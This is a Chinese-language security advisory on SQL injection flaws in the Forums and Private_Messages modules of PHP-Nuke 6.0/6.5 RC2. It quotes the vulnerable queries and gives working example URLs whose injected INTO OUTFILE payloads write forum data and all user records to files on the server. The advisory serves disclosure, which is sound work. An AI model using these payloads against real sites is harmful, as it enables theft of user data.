涉及程序： PHP-Nuke 6.0/6.5 RC2 描述： PHP-Nuke 6.0/6.5 RC2 SQL注入缺陷使用代码 详细： PHP-Nuke 6.0/6.5 RC2的Forums, Private_Messages模块存在代码注入缺陷。Forums, Private_Messages模块中的脚本对用户提交的数据缺少正确过滤，攻击者可以插入恶意数据，获取用户的Cookie信息，导致用户信息泄露。 PHP 代码/位置: /modules/Forums/viewtopic.php : ------------------------------------------------------------------------ $sql = \"SELECT forum_type, forum_id, forum_pass, forum_name, forum_access, forum_moderator, forum_atch FROM ${prefix}_forums WHERE forum_id = \`$forum\`\"; ------------------------------------------------------------------------ /modules/Forums/viewforum.php : ------------------------------------------------------------------------ $sql = \"SELECT f.forum_id, f.forum_type, f.forum_pass, f.forum_name, u.uname, u.uid,m.forum_id,m.user_id FROM ${prefix}_forums f, \".$user_prefix.\"_users u, ${prefix}_forum_mods m WHERE f.forum_id = \`$forum\` AND m.forum_id = \`$forum\` AND m.user_id = u.uid\"; ------------------------------------------------------------------------ /modules/Forums/reply.php : ------------------------------------------------------------------------ $sql = \"SELECT forum_name, forum_access, forum_moderator, forum_atch FROM ${prefix}_forums WHERE (forum_id = \`$forum\`)\"; ------------------------------------------------------------------------ /modules/Forums/newtopic.php : ------------------------------------------------------------------------ $sql = \"SELECT forum_type, forum_pass, forum_name, forum_access, forum_moderator, forum_atch FROM ${prefix}_forums WHERE (forum_id = \`$forum\`)\"; ------------------------------------------------------------------------ /modules/Forums/editpost.php : ------------------------------------------------------------------------ $sql = \"SELECT forum_name, forum_access, forum_moderator, forum_atch FROM ${prefix}_forums WHERE forum_id = \`$forum\`\"; ------------------------------------------------------------------------ /modules/Private_Messages/reply.php : ------------------------------------------------------------------------ if ($reply || $send) { if ($uname != \"\") { $res = sql_num_rows(sql_query(\"select * from \".$user_prefix.\"_users where uname=\`$uname\`\", $dbi), $dbi); ------------------------------------------------------------------------ 攻击方法： 示例代码： 将forums信息保存到文本文件中: http:// /modules.php?op=modload&name=Forums&file=viewtopic&topic=1&forum=1`%20INTO%20OUTFILE%20` /vt.txt http:// /modules.php?op=modload&name=Forums&file=viewforum&forum=`%20OR%201=1%20INTO%20OUTFILE%20` /vf.txt`/* http:// /modules.php?op=modload&name=Forums&file=reply&forum=1`)%20INTO%20OUTFILE%20`/reply.txt`/* http:// /modules.php?op=modload&name=Forums&file=newtopic&forum=1`)%20INTO%20OUTFILE%20`/newtopic.txt`/* http:// /modules.php?op=modload&name=Forums&file=editpost&forum=1`%20INTO%20OUTFILE%20`/editpost.txt 将所有用户的信息保存到文本文件中: http:// /modules.php?name=Private_Messages&file=reply&send=1&uname=`%20OR%201=1%20INTO%20OUTFILE%20`/users.txt 解决方案： 目前厂商还未公布该缺陷补丁，请用户及时关注厂商站点： http://www.phpnuke.org